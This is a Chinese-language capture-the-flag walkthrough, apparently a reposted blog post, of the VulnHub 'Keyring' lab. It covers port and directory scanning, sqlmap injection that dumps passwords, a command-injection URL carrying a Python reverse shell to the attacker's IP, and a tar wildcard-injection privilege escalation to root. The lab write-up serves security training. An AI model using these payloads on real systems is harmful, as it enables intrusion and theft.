IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 渗透练习 Vulnhub靶场 Keyring -> 正文阅读

[系统运维]渗透练习 Vulnhub靶场 Keyring

No.26 Keyring

靶机信息

下载地址:

https://www.vulnhub.com/entry/ia-keyring-101,718/

靶场: VulnHub.com

靶机名称: IA: Keyring (1.0.1)

难度: 简单-中等

发布时间: 2021年7月30日

目标: 2个flag

实验环境

攻击机:VMware	kali	192.168.7.3

靶机:Vbox		linux	IP自动获取

信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 192.168.7.1/24

image-20220208234543993

扫描到主机地址为192.168.7.157

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 192.168.7.158 -oN keyring.nmap

image-20220208234655711

扫描到2个开放端口22(SSH)和80(HTTP)

Web渗透

访问80端口

http://192.168.7.158

image-20220208234854811

打开首页是注册帐号页面,注册个帐号登录进去(注册好登录时不要在用户名和密码处填内容,直接点Login按钮会跳转到登录页面再输入帐号密码登录)

image-20220208235630605

image-20220209000240074

登录成功,在control.php页面上看到提示,HPP参数污染

HTTP Parameter Pollution(HPP参数污染)

简单介绍:

? HTTP Parameter Pollution即HTTP参数污染,简称HPP。是web容器处理HTTP参数的一种方式。
HTTP 参数污染 (HPP) 是一种 Web 攻击规避技术,允许攻击者通过更改 HTTP 请求以操纵或搜索隐藏信息。这种规避技术基于在具有相同名称的参数的多个实例之间拆分攻击向量。某些环境通过从请求中连接的参数名称的所有实例中获取的值来处理此类请求。

HTTP Parameter Pollution即HTTP参数污染,简称HPP。是web容器处理HTTP参数的一种方式。
HTTP 参数污染 (HPP) 是一种 Web 攻击规避技术,允许攻击者通过更改 HTTP 请求以操纵或搜索隐藏信息。这种规避技术基于在具有相同名称的参数的多个实例之间拆分攻击向量。某些环境通过从请求中连接的参数名称的所有实例中获取的值来处理此类请求。

例子:

HttpPar.php的源码如下:

<?php
 $str=$_REQUEST['str'];
 echo $str;
?>

这段代码,接收HTTP参数中str的值,并显示在页面中。我们访问http://www.xxx.com/HttpPar.php?str=hello,显示结果将为hello。
在HTTP请求中,使用&可以连接不同的参数,如:str=hello&id=1。但是此时如果参数重复:str=hello&str=world&str=xxser,那么此时php在取值时只输出最后一个参数,输出则为xxser。这就是HTTP参数污染。

HPP参数污染可以SQL注入和XSS利用,更多被用于绕waf

HPP参数污染简单了解了,便是我们还不知道参数是什么,先做个目录扫描找找其他提示信息

目录扫描

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.7.158 -x php,html,txt

image-20220209003332574

扫描到一个history.php文件,访问一下

http://192.168.7.158/history.php

image-20220209003727801

打开后是个空白页面,估计这里要加参数才能访问,当退出登录用户再访问这个页面时跳出了提示

image-20220209005937071

提示找不到用户,重新登录用user做参数试试

http://192.168.7.158/history.php?user=user1234

image-20220209014307811

当我用自己注册的用户名来测试时报出一些内容,改成admin试试

http://192.168.7.158/history.php?user=admin

image-20220209015139788

拿到一个链接https://github.com/cyberbot75/keyring

访问是存放网站源码的仓库,在control.php文件中发现system函数可以直接利用,测试一下

image-20220209015750951

http://192.168.7.158/control.php?cmdcntr=id

image-20220209021631583

SQL注入攻击

没有成功,看源码也没有发现问题,又见到HPP参数污染的提示,并且拿到了user参数,去做个sql注入试试

查询库名

sqlmap -u http://192.168.7.158/history.php?user=user1234 --cookie='PHPSESSID=0ce7psagp018qtd5gndrsdsl8o' --batch --dbs

image-20220210001832352

查询表名

sqlmap -u http://192.168.7.158/history.php?user=user1234 --cookie='PHPSESSID=0ce7psagp018qtd5gndrsdsl8o' --batch -D users --tables

image-20220210002015174

查询表内容

sqlmap -u http://192.168.7.158/history.php?user=user1234 --cookie='PHPSESSID=0ce7psagp018qtd5gndrsdsl8o' --batch -D users -T details --dump

image-20220210002148796

查询到管理员帐号admin和密码myadmin#p4szw0r4d,使用admin帐号登录平台并用control.php文件拿到cmdcntr权限

http://192.168.7.158/control.php?cmdcntr=id

image-20220210002639710

成功执行命令,我们反弹个shell到kali攻击机上

kali攻击机监听端口

nc -lvvp 4444

执行payload

http://192.168.7.158/control.php?cmdcntr=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20220210003322731

成功反弹shell,让我们找一下提文件,先切换到bash

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20220210070502380

提权

cat /etc/passwd

image-20220210064134687

这里有个john用户,之前sql注入里也有一个john用户试试密码是否相同,切换到john用户密码是Sup3r S 3 c r 3 t S3cr3t S3cr3tPasSW0RD

su john
Sup3r$S3cr3t$PasSW0RD
id

image-20220210064650659

切换john用户成功,这里的lxd可以提权,先进入用户目录看一下

cd /home/john
ls -al

image-20220210064850345

找到user.txt

cat user.txt

image-20220210064930478

还有一个compress程序,看一下是什么文件

file compress

image-20220210065333222

suid,把他下载下来看看内容,靶机开启http服务

python3 -m http.server

image-20220210065548354

kali攻击机下载compress文件,查看文件内容

wget http://192.168.7.158:8000/compress
strings compress

image-20220210070730236

compress会执行tar程序,tar可以利用通配符注入来提权,

payload

echo "/bin/bash" > exp.sh
echo "" > "--checkpoint-action=exec=sh exp.sh"
echo "" > --checkpoint=1
./compress
id

image-20220210073935471

成功拿到root权限,查看root.txt

cd /root
ls
cat root.txt

image-20220210074112553

拿到root.txt,游戏结束。喜欢打靶的小伙伴可以微信搜索“伏波路上学安全”公众号、或扫描下方二维码关注获取更多打靶文章。
在这里插入图片描述

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-02-16 13:33:29  更:2022-02-16 13:34:53 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 5:20:57-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码